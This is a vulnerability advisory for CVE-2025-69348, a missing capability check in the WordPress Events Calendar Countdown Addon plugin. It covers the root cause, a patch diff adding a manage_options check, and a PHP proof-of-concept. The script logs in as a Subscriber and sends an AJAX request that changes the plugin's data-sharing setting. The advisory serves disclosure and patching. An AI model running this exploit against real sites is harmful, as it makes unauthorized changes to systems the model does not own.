Atomic Edge analysis of CVE-2025-69348:
The Events Calendar Countdown Addon plugin for WordPress, versions up to 1.4.15, contains a missing authorization vulnerability. The flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions. This vulnerability has a CVSS score of 4.3.
Root Cause:
The vulnerability originates from the `cpfm_save_usage_data_sharing_callback` function in the file `/countdown-for-the-events-calendar/includes/tecc-setting-panel.php`. This function is registered as an AJAX handler. The function lacks a capability check before processing the request. The code diff shows the vulnerable function, prior to line 425, directly calls `check_ajax_referer` and processes the `$_POST[‘opt_in’]` parameter without verifying the user’s permissions.
Exploitation:
An attacker can exploit this by sending a POST request to the WordPress `/wp-admin/admin-ajax.php` endpoint. The request must include the `action` parameter set to `cpfm_save_usage_data_sharing_callback` and a valid `nonce` parameter. The `opt_in` POST parameter controls the data sharing setting. Any authenticated user, including those with the low-privilege Subscriber role, can send this request to change the plugin’s data sharing preference, an action intended only for administrators.
Patch Analysis:
The patch in version 1.4.16 adds a capability check at the beginning of the `cpfm_save_usage_data_sharing_callback` function. The added code, visible in the diff for `tecc-setting-panel.php`, is `if ( ! current_user_can( ‘manage_options’ ) ) { wp_send_json_error( __( ‘You do not have sufficient permissions to access this page.’ ) ); }`. This check ensures the user has the `manage_options` capability, which is typically exclusive to Administrator users, before the function proceeds. The fix prevents unauthorized users from reaching the core logic of the callback.
Impact:
Successful exploitation allows attackers with minimal WordPress access to modify the plugin’s data sharing settings. While this specific action may have limited direct impact, the vulnerability demonstrates a broken authorization model. Atomic Edge research indicates such flaws can be chained with other issues or used to probe for deeper system weaknesses. The unauthorized modification of any site setting represents a integrity violation.
--- a/countdown-for-the-events-calendar/countdown-for-events-calendar.php
+++ b/countdown-for-the-events-calendar/countdown-for-events-calendar.php
@@ -3,7 +3,7 @@
Plugin Name:The Events Calendar Countdown Addon
Plugin URI:https://eventscalendaraddons.com/
Description:The Events Calendar CountDown Addon provides the ability to create Beautiful Countdown for <a href="http://wordpress.org/plugins/the-events-calendar/">The Events Calendar (by Modern Tribe)</a> events with just a few clicks.
-Version:1.4.15
+Version:1.4.16
License:GPL2
Author:Cool Plugins
Author URI:https://coolplugins.net/?utm_source=tecc_plugin&utm_medium=inside&utm_campaign=author_page&utm_content=plugins_list
@@ -19,7 +19,7 @@
exit();
}
if ( ! defined( 'TECC_VERSION_CURRENT' ) ) {
- define( 'TECC_VERSION_CURRENT', '1.4.15' );
+ define( 'TECC_VERSION_CURRENT', '1.4.16' );
}
define( 'TECC_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
--- a/countdown-for-the-events-calendar/includes/tecc-setting-panel.php
+++ b/countdown-for-the-events-calendar/includes/tecc-setting-panel.php
@@ -425,6 +425,9 @@
function cpfm_save_usage_data_sharing_callback() {
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( __( 'You do not have sufficient permissions to access this page.' ) );
+ }
check_ajax_referer('cpfm_nonce_action', 'nonce');
$choice = isset($_POST['opt_in']) && $_POST['opt_in'] === 'yes' ? 'yes' : 'no';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69348 - The Events Calendar Countdown Addon <= 1.4.15 - Missing Authorization
<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate to WordPress and obtain a valid nonce.
// This PoC assumes the attacker has valid Subscriber credentials.
// In a real scenario, an attacker might phish credentials or use a compromised account.
$ch = curl_init();
// First, log in to get session cookies.
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $target_url),
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Extract a nonce from an admin page where the plugin's setting is rendered.
// The nonce is generated with action 'cpfm_nonce_action'.
// For this PoC, we simulate a direct AJAX call. A real attack requires a valid nonce,
// which a Subscriber could obtain if the nonce is exposed in page source accessible to them.
// This script assumes the nonce is known or has been harvested.
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with a valid nonce.
// Step 3: Craft the unauthorized AJAX request to the vulnerable endpoint.
$post_data = [
'action' => 'cpfm_save_usage_data_sharing_callback',
'nonce' => $nonce,
'opt_in' => 'yes' // Change data sharing setting to 'yes'.
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_COOKIEJAR => 'cookies.txt'
]);
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Code: $http_coden";
echo "Response: $ajax_responsen";
// A successful exploitation will return a JSON response confirming the update.
// In patched versions, it will return a JSON error about insufficient permissions.
curl_close($ch);
?>
